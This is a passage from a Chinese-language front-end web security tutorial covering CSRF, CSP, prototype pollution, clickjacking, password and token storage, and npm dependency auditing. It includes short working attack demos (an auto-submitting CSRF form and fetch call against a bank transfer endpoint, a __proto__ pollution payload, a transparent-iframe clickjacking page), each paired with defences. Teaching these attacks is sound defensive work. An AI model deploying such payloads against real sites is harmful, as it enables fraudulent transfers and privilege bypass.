.image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-qNMa8ORDwPbTIIZW .icon-shape p,#mermaid-svg-qNMa8ORDwPbTIIZW .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-qNMa8ORDwPbTIIZW .icon-shape .label rect,#mermaid-svg-qNMa8ORDwPbTIIZW .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-qNMa8ORDwPbTIIZW .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-qNMa8ORDwPbTIIZW .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-qNMa8ORDwPbTIIZW :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 访问恶意页面
页面包含隐藏表单

自动提交到 bank.com
执行转账
用户

(已登录 bank.com)
evil.com
bank.com

收到带 Cookie 的请求
受害者损失

42.2.2 攻击示例

html 复制代码
<!-- evil.com 上的恶意页面 -->
<!-- 方式一:隐藏表单自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById("csrf-form").submit();</script>

<!-- 方式二:img 标签(GET 请求) -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

<!-- 方式三:AJAX(需要同域或有 CORS 漏洞) -->
<script>
fetch("https://bank.com/transfer", {
  method: "POST",
  credentials: "include",   // 自动带 Cookie
  body: "to=attacker&amount=10000"
});
</script>

CSRF 成功的三个前提:

  1. 用户已登录目标网站(Cookie 未过期)
  2. 目标网站的关键操作只依赖 Cookie 验证身份
  3. 用户被诱导访问了恶意页面

42.2.3 三种防御方案

方案一:SameSite Cookie(推荐首选)
javascript 复制代码
// 服务端设置 Cookie 时加 SameSite
res.cookie("session", token, {
  sameSite: "strict"   // 跨站请求不携带 Cookie → CSRF 请求无身份凭证
});
SameSite 值 行为
Strict 任何跨站请求都不携带 Cookie(最严格)
Lax(默认) 顶级导航的 GET 请求携带,POST / AJAX 不携带
None 跨站请求也携带(必须配合 Secure)

SameSite=Lax 已成为现代浏览器的默认值(Chrome 80+)。这意味着大多数 CSRF 攻击在未做任何防御的情况下已经失效------但不能依赖浏览器默认值,仍需显式配置。

方案二:CSRF Token
javascript 复制代码
// 服务端:生成 token 嵌入页面
const csrfToken = generateRandomToken();
res.cookie("csrfToken", csrfToken, { httpOnly: false }); // 前端可读取

// 前端:每个请求带上 token
fetch("/api/transfer", {
  method: "POST",
  headers: { "X-CSRF-Token": getCookie("csrfToken") },
  body: formData
});

// 服务端:验证 token
app.post("/api/transfer", (req, res) => {
  const headerToken = req.headers["x-csrf-token"];
  const cookieToken = req.cookies.csrfToken;
  if (!headerToken || headerToken !== cookieToken) {
    return res.status(403).send("CSRF token 验证失败");
  }
  // ... 处理业务逻辑
});

原理:攻击者的页面无法读取目标网站的 Cookie(同源策略),所以无法获取 token 放入请求头------CSRF 请求缺少 token,被服务端拒绝。

方案三:检查 Origin / Referer
javascript 复制代码
// 中间件:检查请求来源
app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  const allowed = ["https://myapp.com", "https://admin.myapp.com"];
  if (origin && !allowed.some(a => origin.startsWith(a))) {
    return res.status(403).send("非法来源");
  }
  next();
});

注意 :Referer 可被伪造(某些浏览器隐私模式不发送),只能作为辅助手段,不能单独依赖。

42.2.4 CSRF 防御方案对比

方案 优势 劣势 推荐度
SameSite Cookie 零前端代码改动、浏览器原生支持 老浏览器不支持、需显式配置 ⭐⭐⭐ 首选
CSRF Token 兼容所有浏览器 需要前后端配合、token 管理 ⭐⭐⭐ 补充
Origin/Referer 检查 实现简单 可被绕过、隐私模式失效 ⭐ 辅助

最佳实践 :SameSite=Lax/Strict + CSRF Token 双重防御 。关键操作(转账、修改密码)额外要求二次确认(输入密码 / 短信验证码)。


42.3 CSP(内容安全策略)配置

42.3.1 什么是 CSP

CSP(Content Security Policy) :通过 HTTP 响应头声明"本页面允许加载哪些来源的资源",浏览器根据策略拒绝加载不符合白名单的资源------从根源上阻断 XSS、数据注入等攻击。

CSP 是防御 XSS 的最后一道防线:即使页面存在 XSS 漏洞,CSP 也能阻止恶意脚本的执行。

42.3.2 CSP 配置方式

http 复制代码
# 方式一:HTTP 响应头(推荐)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

# 方式二:HTML meta 标签(功能受限,不支持 report-uri)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

42.3.3 常用指令

指令 控制的资源类型 示例值
default-src 所有资源的默认策略 'self'
script-src JavaScript 脚本 'self' https://cdn.example.com
style-src CSS 样式 'self' 'unsafe-inline'
img-src 图片 'self' data: https:
font-src 字体 'self' https://fonts.gstatic.com
connect-src AJAX / fetch / WebSocket 'self' https://api.example.com
frame-src iframe 来源 'self' https://payment.example.com
frame-ancestors 谁可以嵌入本页面(防御点击劫持) 'none'
report-uri 违规报告上报地址 /csp-report

42.3.4 特殊值

值 含义
'self' 同源(同协议 + 同域 + 同端口)
'none' 禁止任何来源
'unsafe-inline' 允许内联脚本/样式(⚠️ 削弱 CSP 防护力)
'unsafe-eval' 允许 eval() / new Function()(⚠️ 危险)
'nonce-xxx' 允许带特定 nonce 的内联脚本
'sha256-xxx' 允许内容匹配特定哈希的内联脚本
https: 允许任何 HTTPS 来源

42.3.5 完整配置示例

http 复制代码
# 生产环境推荐配置
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123' https://cdn.example.com;
  style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-violation-report;
javascript 复制代码
// 使用 nonce 允许特定内联脚本(替代 unsafe-inline)
// 服务端生成 nonce
const nonce = crypto.randomBytes(16).toString("base64");
res.setHeader("Content-Security-Policy",
  `script-src 'self' 'nonce-${nonce}'`);

// HTML 中内联脚本必须带 nonce
res.send(`
  <script nonce="${nonce}">
    // 这段内联脚本被 CSP 允许执行
    console.log("Hello");
  </script>
`);

42.3.6 CSP 报告模式(调试阶段)

上线 CSP 前先用 Content-Security-Policy-Report-Only 观察违规情况,不实际阻断:

http 复制代码
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
javascript 复制代码
// 服务端接收违规报告
app.post("/csp-report", express.json(), (req, res) => {
  console.log("CSP 违规:", req.body["csp-report"]);
  // { "document-uri": "...", "violated-directive": "script-src", "blocked-uri": "..." }
  res.status(204).end();
});

CSP 配置原则 :先开 Report-Only 模式收集违规日志 → 逐步放宽白名单 → 确认无误后切换到强制模式。不要为了省事用 unsafe-inline 和 unsafe-eval------这会大幅削弱 CSP 对 XSS 的防护力。


42.4 原型链污染与防御

42.4.1 什么是原型链污染

原型链污染(Prototype Pollution) :攻击者通过操控对象的深层属性赋值,修改 Object.prototype 等基础原型,导致所有对象都"继承"了恶意属性------影响全局。

这是 JavaScript 独有的安全问题,根因是原型继承机制。

42.4.2 攻击原理

javascript 复制代码
// 常见的"深合并"函数(如 lodash.merge、jQuery.extend 的旧版本)
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === "object" && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// 攻击载荷:通过 __proto__ 污染 Object.prototype
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
const user = {};
merge(user, malicious);

console.log(user.isAdmin);       // true(直接属性)
console.log({}.isAdmin);         // true(所有对象都被污染!)

// 后果:权限校验被绕过
function checkPermission(user) {
  return user.isAdmin === true;   // 所有用户都变成 admin
}

其他攻击路径:

javascript 复制代码
// constructor.prototype 路径
merge(user, JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'));

// proto 路径(部分库)
merge(user, JSON.parse('{"proto": {"isAdmin": true}}'));

42.4.3 真实危害场景

场景 后果
权限校验 所有用户 isAdmin === true,绕过权限
条件判断 if (obj.type === "admin") 永远为真
模板渲染 模板引擎读取被污染的原型属性
代码执行 污染 Function.prototype → 所有函数执行恶意代码

42.4.4 防御方案

防御一:使用 Object.create(null) 创建无原型对象
javascript 复制代码
// 无原型对象:没有 __proto__、没有 constructor、没有 toString
const safeConfig = Object.create(null);
safeConfig.host = "localhost";
safeConfig.port = 3000;

console.log(safeConfig.__proto__);     // undefined
console.log(safeConfig.toString);      // undefined
// 攻击载荷 {"__proto__": {...}} 无法生效
防御二:Object.freeze 冻结原型
javascript 复制代码
// 启动时冻结核心原型(防止运行时污染)
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

// 之后的污染操作会静默失败(严格模式下抛 TypeError)
({}).__proto__.isAdmin = true;  // 静默失败
console.log({}.isAdmin);        // undefined

注意 :Object.freeze(Object.prototype) 会影响某些库的正常运行(如一些 polyfill 依赖原型扩展),需要充分测试后再启用。

防御三:深合并函数加黑名单
javascript 复制代码
// 安全的深合并:拒绝 __proto__、constructor、prototype 键
function safeMerge(target, source) {
  const FORBIDDEN = new Set(["__proto__", "constructor", "prototype"]);
  for (const key in source) {
    if (FORBIDDEN.has(key)) continue;   // 跳过危险键
    if (typeof source[key] === "object" && source[key] !== null) {
      if (!target[key]) target[key] = {};
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}
防御四:使用 Map 替代普通对象存储键值对
javascript 复制代码
// Map 没有原型链问题:key 是值而非属性名
const config = new Map();
config.set("__proto__", { isAdmin: true });  // 这只是个普通键值
console.log(config.get("__proto__"));  // { isAdmin: true }
console.log({}.isAdmin);               // undefined(不影响原型)

经验法则 :所有接收用户输入并做深合并 的地方(配置合并、请求体解析)都必须加 __proto__ 黑名单。使用 Map 替代 {} 做键值存储可以从根本上规避此问题。


42.5 点击劫持攻击(Clickjacking)

42.5.1 什么是点击劫持

点击劫持(Clickjacking) :攻击者用透明的 iframe 覆盖在正常页面之上,诱导用户"点击正常按钮"的同时,实际点击了 iframe 中的危险操作(如转账、授权)。
#mermaid-svg-jROW7Qnonf4ytOEV{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-jROW7Qnonf4ytOEV .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-jROW7Qnonf4ytOEV .error-icon{fill:#552222;}#mermaid-svg-jROW7Qnonf4ytOEV .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-jROW7Qnonf4ytOEV .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-jROW7Qnonf4ytOEV .marker{fill:#333333;stroke:#333333;}#mermaid-svg-jROW7Qnonf4ytOEV .marker.cross{stroke:#333333;}#mermaid-svg-jROW7Qnonf4ytOEV svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-jROW7Qnonf4ytOEV p{margin:0;}#mermaid-svg-jROW7Qnonf4ytOEV .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-jROW7Qnonf4ytOEV .cluster-label text{fill:#333;}#mermaid-svg-jROW7Qnonf4ytOEV .cluster-label span{color:#333;}#mermaid-svg-jROW7Qnonf4ytOEV .cluster-label span p{background-color:transparent;}#mermaid-svg-jROW7Qnonf4ytOEV .label text,#mermaid-svg-jROW7Qnonf4ytOEV span{fill:#333;color:#333;}#mermaid-svg-jROW7Qnonf4ytOEV .node rect,#mermaid-svg-jROW7Qnonf4ytOEV .node circle,#mermaid-svg-jROW7Qnonf4ytOEV .node ellipse,#mermaid-svg-jROW7Qnonf4ytOEV .node polygon,#mermaid-svg-jROW7Qnonf4ytOEV .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-jROW7Qnonf4ytOEV .rough-node .label text,#mermaid-svg-jROW7Qnonf4ytOEV .node .label text,#mermaid-svg-jROW7Qnonf4ytOEV .image-shape .label,#mermaid-svg-jROW7Qnonf4ytOEV .icon-shape .label{text-anchor:middle;}#mermaid-svg-jROW7Qnonf4ytOEV .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-jROW7Qnonf4ytOEV .rough-node .label,#mermaid-svg-jROW7Qnonf4ytOEV .node .label,#mermaid-svg-jROW7Qnonf4ytOEV .image-shape .label,#mermaid-svg-jROW7Qnonf4ytOEV .icon-shape .label{text-align:center;}#mermaid-svg-jROW7Qnonf4ytOEV .node.clickable{cursor:pointer;}#mermaid-svg-jROW7Qnonf4ytOEV .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-jROW7Qnonf4ytOEV .arrowheadPath{fill:#333333;}#mermaid-svg-jROW7Qnonf4ytOEV .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-jROW7Qnonf4ytOEV .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-jROW7Qnonf4ytOEV .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-jROW7Qnonf4ytOEV .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-jROW7Qnonf4ytOEV .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-jROW7Qnonf4ytOEV .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-jROW7Qnonf4ytOEV .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-jROW7Qnonf4ytOEV .cluster text{fill:#333;}#mermaid-svg-jROW7Qnonf4ytOEV .cluster span{color:#333;}#mermaid-svg-jROW7Qnonf4ytOEV div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-jROW7Qnonf4ytOEV .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-jROW7Qnonf4ytOEV rect.text{fill:none;stroke-width:0;}#mermaid-svg-jROW7Qnonf4ytOEV .icon-shape,#mermaid-svg-jROW7Qnonf4ytOEV .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-jROW7Qnonf4ytOEV .icon-shape p,#mermaid-svg-jROW7Qnonf4ytOEV .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-jROW7Qnonf4ytOEV .icon-shape .label rect,#mermaid-svg-jROW7Qnonf4ytOEV .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-jROW7Qnonf4ytOEV .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-jROW7Qnonf4ytOEV .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-jROW7Qnonf4ytOEV :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 实际点击
视觉叠加
用户看到
正常页面

『点击领取奖品』
透明 iframe

bank.com 的『确认转账』按钮

42.5.2 攻击示例

html 复制代码
<!-- 攻击者页面 -->
<div style="position: relative;">
  <!-- 正常诱饵页面 -->
  <button style="position: absolute; top: 150px; left: 100px; z-index: 1;">
    🎁 点击领取 iPhone
  </button>

  <!-- 透明的恶意 iframe 覆盖在上方 -->
  <iframe
    src="https://bank.com/transfer?to=attacker&amount=10000"
    style="
      position: absolute;
      top: 0; left: 0;
      width: 100%; height: 100%;
      opacity: 0;           /* 完全透明,用户看不到 */
      z-index: 2;           /* 覆盖在诱饵按钮上方 */
    "
  ></iframe>
</div>
<!-- 用户点击"领取奖品" → 实际点击了 iframe 中的"确认转账" -->

42.5.3 防御方案

方案一:X-Frame-Options(老方案,兼容性好)
http 复制代码
# 完全禁止被 iframe 嵌入
X-Frame-Options: DENY

# 只允许同源 iframe 嵌入
X-Frame-Options: SAMEORIGIN

# 只允许指定域名嵌入
X-Frame-Options: ALLOW-FROM https://trusted-site.com
方案二:CSP frame-ancestors(新方案,推荐)
http 复制代码
# 完全禁止被嵌入
Content-Security-Policy: frame-ancestors 'none'

# 只允许同源和特定域名嵌入
Content-Security-Policy: frame-ancestors 'self' https://partner.example.com
方案 优势 劣势
X-Frame-Options 兼容所有老浏览器 不支持多域名白名单
CSP frame-ancestors 灵活白名单、更强大 老浏览器不支持
方案三:Frame Busting 脚本(不推荐作为唯一方案)
javascript 复制代码
// 检测到被 iframe 嵌入时,强制跳出
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

注意 :Frame Busting 可被攻击者用 <iframe sandbox="..."> 或 X-Frame-Options: ALLOW-FROM 绕过,不应作为唯一防御------始终优先使用 HTTP 响应头。

42.5.4 最佳实践

http 复制代码
# 推荐同时配置两者(兼容所有浏览器)
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

经验法则 :所有不需要被嵌入的网站都应该配置 X-Frame-Options: DENY + frame-ancestors 'none'。只有确实需要被嵌入的场景(如支付组件、社交分享按钮)才用 SAMEORIGIN 或指定域名白名单。


42.6 敏感数据处理(加密、安全存储)

42.6.1 密码存储:绝不明文

铁律 :密码永远不能以明文存储。一旦数据库泄露,明文密码会被立即用于撞库(Credential Stuffing)------用户在多个网站使用同一密码。

错误示范
javascript 复制代码
// ❌ 明文存储:数据库被拖库 = 所有密码泄露
user.password = "MyP@ssw0rd!";

// ❌ MD5 / SHA256 无盐哈希:彩虹表秒破
user.passwordHash = crypto.createHash("md5").update("MyP@ssw0rd!").digest("hex");
正确方案:bcrypt / scrypt / Argon2
javascript 复制代码
const bcrypt = require("bcrypt");

// 注册时:生成盐 + 哈希(bcrypt 自动加盐)
async function hashPassword(password) {
  const saltRounds = 12;   // cost factor:越高越安全但越慢
  return bcrypt.hash(password, saltRounds);
}

// 登录时:比对哈希
async function verifyPassword(password, storedHash) {
  return bcrypt.compare(password, storedHash);
}

// 示例
const hash = await hashPassword("MyP@ssw0rd!");
console.log(hash);  // $2b$12$LJ3m4ys3Lg0V... (包含算法、cost、盐、哈希)
console.log(await verifyPassword("MyP@ssw0rd!", hash));  // true
console.log(await verifyPassword("wrong", hash));        // false
算法 速度 适用场景 推荐度
bcrypt 慢(CPU 密集) 通用密码存储 ⭐⭐⭐
scrypt 慢(内存密集) 抗 GPU 攻击 ⭐⭐⭐
Argon2 可调(CPU + 内存) 最新标准(2015 密码哈希竞赛冠军) ⭐⭐⭐
MD5 / SHA 极快 不适合密码(彩虹表秒破) ❌ 禁用

42.6.2 Token 与 Session 安全存储

javascript 复制代码
// ✅ JWT Token 存储在 HttpOnly Cookie(防 XSS 窃取)
res.cookie("token", jwt, {
  httpOnly: true,      // JS 无法读取
  secure: true,        // 仅 HTTPS
  sameSite: "strict",  // 防 CSRF
  maxAge: 3600000      // 1 小时过期
});

// ❌ Token 存储在 localStorage(XSS 可直接读取)
localStorage.setItem("token", jwt);   // 危险!

// ❌ Token 存储在普通 Cookie(无 HttpOnly)
res.cookie("token", jwt);             // 危险!JS 可读取

42.6.3 前端敏感数据处理原则

#mermaid-svg-bU3Aze34lsbz1PhK{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-bU3Aze34lsbz1PhK .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-bU3Aze34lsbz1PhK .error-icon{fill:#552222;}#mermaid-svg-bU3Aze34lsbz1PhK .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-bU3Aze34lsbz1PhK .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-bU3Aze34lsbz1PhK .marker{fill:#333333;stroke:#333333;}#mermaid-svg-bU3Aze34lsbz1PhK .marker.cross{stroke:#333333;}#mermaid-svg-bU3Aze34lsbz1PhK svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-bU3Aze34lsbz1PhK p{margin:0;}#mermaid-svg-bU3Aze34lsbz1PhK .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-bU3Aze34lsbz1PhK .cluster-label text{fill:#333;}#mermaid-svg-bU3Aze34lsbz1PhK .cluster-label span{color:#333;}#mermaid-svg-bU3Aze34lsbz1PhK .cluster-label span p{background-color:transparent;}#mermaid-svg-bU3Aze34lsbz1PhK .label text,#mermaid-svg-bU3Aze34lsbz1PhK span{fill:#333;color:#333;}#mermaid-svg-bU3Aze34lsbz1PhK .node rect,#mermaid-svg-bU3Aze34lsbz1PhK .node circle,#mermaid-svg-bU3Aze34lsbz1PhK .node ellipse,#mermaid-svg-bU3Aze34lsbz1PhK .node polygon,#mermaid-svg-bU3Aze34lsbz1PhK .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-bU3Aze34lsbz1PhK .rough-node .label text,#mermaid-svg-bU3Aze34lsbz1PhK .node .label text,#mermaid-svg-bU3Aze34lsbz1PhK .image-shape .label,#mermaid-svg-bU3Aze34lsbz1PhK .icon-shape .label{text-anchor:middle;}#mermaid-svg-bU3Aze34lsbz1PhK .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-bU3Aze34lsbz1PhK .rough-node .label,#mermaid-svg-bU3Aze34lsbz1PhK .node .label,#mermaid-svg-bU3Aze34lsbz1PhK .image-shape .label,#mermaid-svg-bU3Aze34lsbz1PhK .icon-shape .label{text-align:center;}#mermaid-svg-bU3Aze34lsbz1PhK .node.clickable{cursor:pointer;}#mermaid-svg-bU3Aze34lsbz1PhK .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-bU3Aze34lsbz1PhK .arrowheadPath{fill:#333333;}#mermaid-svg-bU3Aze34lsbz1PhK .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-bU3Aze34lsbz1PhK .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-bU3Aze34lsbz1PhK .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-bU3Aze34lsbz1PhK .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-bU3Aze34lsbz1PhK .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-bU3Aze34lsbz1PhK .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-bU3Aze34lsbz1PhK .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-bU3Aze34lsbz1PhK .cluster text{fill:#333;}#mermaid-svg-bU3Aze34lsbz1PhK .cluster span{color:#333;}#mermaid-svg-bU3Aze34lsbz1PhK div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-bU3Aze34lsbz1PhK .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-bU3Aze34lsbz1PhK rect.text{fill:none;stroke-width:0;}#mermaid-svg-bU3Aze34lsbz1PhK .icon-shape,#mermaid-svg-bU3Aze34lsbz1PhK .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-bU3Aze34lsbz1PhK .icon-shape p,#mermaid-svg-bU3Aze34lsbz1PhK .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-bU3Aze34lsbz1PhK .icon-shape .label rect,#mermaid-svg-bU3Aze34lsbz1PhK .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-bU3Aze34lsbz1PhK .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-bU3Aze34lsbz1PhK .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-bU3Aze34lsbz1PhK :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 密码
服务端哈希

(bcrypt/Argon2)
Token / Session
HttpOnly Cookie
个人信息

(身份证/手机号)
服务端加密存储

(AES-256)
API Key / Secret
环境变量

(不入代码库)

数据类型 存储位置 加密方式
用户密码 服务端数据库 bcrypt / Argon2 哈希
Token / Session HttpOnly Cookie 签名 + 加密
个人信息 服务端数据库 AES-256 加密存储
API Key / Secret 环境变量 不进入代码库
前端缓存 尽量不存 必须存时用 sessionStorage(关闭标签页清除)

42.6.4 Web Crypto API:前端加密

javascript 复制代码
// 使用浏览器原生 Web Crypto API 加密数据
async function encryptData(plaintext, key) {
  const encoder = new TextEncoder();
  const iv = crypto.getRandomValues(new Uint8Array(12)); // 初始化向量

  const ciphertext = await crypto.subtle.encrypt(
    { name: "AES-GCM", iv },
    key,
    encoder.encode(plaintext)
  );

  return { iv, ciphertext: new Uint8Array(ciphertext) };
}

// 生成密钥
async function generateKey() {
  return crypto.subtle.generateKey(
    { name: "AES-GCM", length: 256 },
    true,
    ["encrypt", "decrypt"]
  );
}

const key = await generateKey();
const encrypted = await encryptData("敏感信息", key);

注意 :前端加密主要用于传输前保护(如密码在提交前加密),不能替代服务端的加密存储。密钥不能写在前端代码里------否则等于把锁和钥匙一起放在门口。


42.7 npm 安全审计与依赖安全

42.7.1 供应链攻击:npm 生态的隐患

npm 生态有超过 200 万个包,其中:

  • 恶意包 :名字与流行包相似(typosquatting),如 event-stream 被投毒事件
  • 依赖地狱:一个包依赖 50 个子包,任何一个子包被攻破都会影响你
  • 废弃包:维护者放弃维护,漏洞无人修复
shell 复制代码
# 查看项目的依赖树
npm ls

# 查看某个包的所有依赖
npm ls --all

42.7.2 npm audit:内置安全审计

shell 复制代码
# 扫描所有依赖的已知漏洞
npm audit

# 输出示例
# === npm audit report ===
# lodash  <4.17.21
# Severity: high
# Prototype Pollution - https://npmjs.com/advisories/1234
# fix available via `npm audit fix`

# 自动修复(可能升级依赖版本)
npm audit fix

# 强制修复(可能引入 breaking changes)
npm audit fix --force

42.7.3 第三方安全工具

工具 类型 特点
npm audit 内置 检查已知漏洞(CVE 数据库)
Snyk 在线 + CLI 持续监控、PR 自动修复
Socket.dev 在线 分析包行为(是否读文件、访问网络)
bundlephobia 在线 分析包体积
shell 复制代码
# Snyk 扫描
npx snyk test

# 检查包的行为特征(是否可疑)
# 在 socket.dev 搜索包名 → 查看权限分析

42.7.4 依赖安全最佳实践

json 复制代码
// package.json:锁定版本范围
{
  "dependencies": {
    "express": "^4.18.0",     // 允许小版本升级(修复漏洞)
    "lodash": "~4.17.21"      // 只允许 patch 升级
  }
}
shell 复制代码
# 1. 始终提交 package-lock.json / yarn.lock(锁定精确版本)
git add package-lock.json

# 2. CI 中用 ci 而非 install(严格按 lock 文件安装)
npm ci

# 3. 定期更新依赖
npm update
npm audit fix

# 4. 检查包的可信度再安装
# - 周下载量 > 100K
# - 最近 6 个月有更新
# - GitHub Stars / Contributors 数量
# - 在 socket.dev 查看行为分析

经验法则 :npm install 之前先做"三查":查官网(确认包名正确)、查下载量(流行度)、查 socket.dev(行为分析)。不要在深夜随便安装一个来路不明的包。


42.8 代码混淆与 Source Map 安全

42.8.1 代码混淆:增加逆向成本

代码混淆 :把可读的代码转换为功能等价但难以阅读的形式------变量名替换为 a、b、c,控制流扁平化,字符串加密。目的是增加逆向工程的成本(不是"完全防止")。

javascript 复制代码
// 混淆前
function calculateDiscount(price, level) {
  if (level === "vip") return price * 0.8;
  if (level === "svip") return price * 0.7;
  return price;
}

// 混淆后(terser + 控制流扁平化)
var a=function(b,c){var d={e:0x1,f:function(){return b*(c==="vip"?0.8:c==="svip"?0.7:1)}};return d.f()};

42.8.2 常用混淆工具

工具 类型 特点
Terser / UglifyJS 压缩 + 基础混淆 生产构建默认启用,混淆程度低
